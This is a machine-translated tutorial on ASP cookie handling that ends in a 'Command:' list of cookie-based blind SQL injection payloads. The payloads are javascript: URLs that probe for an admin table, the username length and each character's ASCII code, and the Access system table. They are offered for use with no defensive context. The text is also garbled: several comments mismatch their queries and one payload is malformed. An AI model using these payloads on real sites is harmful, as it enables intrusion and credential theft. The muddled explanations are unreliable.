What is Cookies? Cookies are data packets that enable the webpage to have a memory function and remember certain information on a computer. Cookies are written to the client system for the first time. Every time you access this webpage in the future, the client sends Cookies to the server first, and then the server determines, and then generates HTML code and returns it to the client. This is a very important principle. For more information about the concepts of server and client, click here: what are server and client? Two instances are provided.
Take note of the most common methods of Cookies in ASP:
1. How to Write Cookies?
Response. Cookies ("field name") = variables or strings, for example:
Response. Cookies ("name2") = "Dingdang"
2. How do I set the cookie time?
Response. Cookies ("field name"). expires = Time Function + N, for example:
Response. Cookies ("name2"). expires = date + 1, indicating that Cookies are stored for one day. For example:
Response. Cookies ("name2"). expires = Hour + 8, indicating that Cookies are stored for 8 hours.
3. In the past ASP tutorials, there were few methods to exit Cookies. On the "exit" ASP page, you can write as follows:
Response. Cookies ("field name") = ""
Then, the Cookies are cleared in the client browser and the Cookies will disappear. Note how many fields should be written to clear them.
4. How to read Cookies?
Variable name = Request. Cookies ("field name"), for example:
Name2 = Request. Cookies ("name2 ")
If <% = name2 %> is written to the webpage, "Dingdang" is displayed ".
You can also directly read Cookies. <% = Request. Cookies ("name2") %>
Cookies are a type of Session objects. However, Cookies do not occupy server resources, whereas Session occupies server resources. Therefore, use Cookies instead of Session.
Command:
Javascript: alert (document. cookie = "id =" + escape ("156 and 1 = 1 "));
Javascript: alert (document. cookie = "id =" + escape ("26 and (select count (*) from admin)> 0 "));
// Check whether the admin table exists.
Javascript: alert (document. cookie = "id =" + escape ("26 and (select count (username) from admin)> 0 "));
// Check whether the username table exists.
Javascript: alert (document. cookie = "id =" + escape ("40 and (select len (username) from admin) = 5 "));
// Check whether the administrator password is five characters long
Javascript: alert (document. cookie = "id =" + escape ("26 and (select top 1 asc (mid (username, 1, 1) from admin) = 97 "));
// Whether the first digit is ASC code 97, which is equivalent to
Javascript: alert (document. cookie = "targetID =" + escape ("108 and (select top 1 unicode (substring (user, 111) from admin) = "));
Javascript: alert (document. cookie = "id =" + escape ("26 and (select top 1 asc (mid (username, 2, 1) from admin) = 97 "));
// Second place
Javascript: alert (document. cookie = "targetID =" + escape ("108 and (select count (*) from msysobjects)> 0 "));
// View the system table